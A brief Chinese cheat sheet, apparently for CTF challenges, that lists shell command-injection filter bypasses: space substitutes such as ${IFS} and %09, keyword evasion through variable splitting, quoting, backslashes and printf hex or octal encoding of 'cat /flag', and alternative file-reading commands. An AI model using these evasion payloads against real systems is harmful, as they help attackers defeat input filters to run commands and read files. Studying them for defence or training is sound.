空格绕过

  1. ${IFS}
  2. $IFS$9 $9指传过来的第9个参数
  3. %09(需要PHP环境)
  4. <或者<>重定向

关键字绕过

  1. 变量拼接 a=c;b=at;c=fl;d=ag;$a$b $c$d

  2. 单引号,双引号绕过 ca''t flag

  3. 编码绕过

    $(printf "\154\163") ==>ls
    $(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag
    {printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0 ==>cat /flag
    
  4. 读文件绕过(当cat被过滤)

    • more:一页一页的显示档案内容
    • less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
    • head:查看头几行(参数-c 10指定前10个字节)
    • tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
    • tail:查看尾几行(参数-c 10指定后10个字节)
    • nl:显示的时候,顺便输出行号
    • od:以二进制的方式读取档案内容
    • vi/vim:一种编辑器,这个也可以查看
    • sort:可以查看
    • uniq:可以查看
    • file -f:报错出具体内容
  5. 反斜线 c\at

  6. $1、$2等和$@ c$1at

from:https://blog.51cto.com/m0re/3879244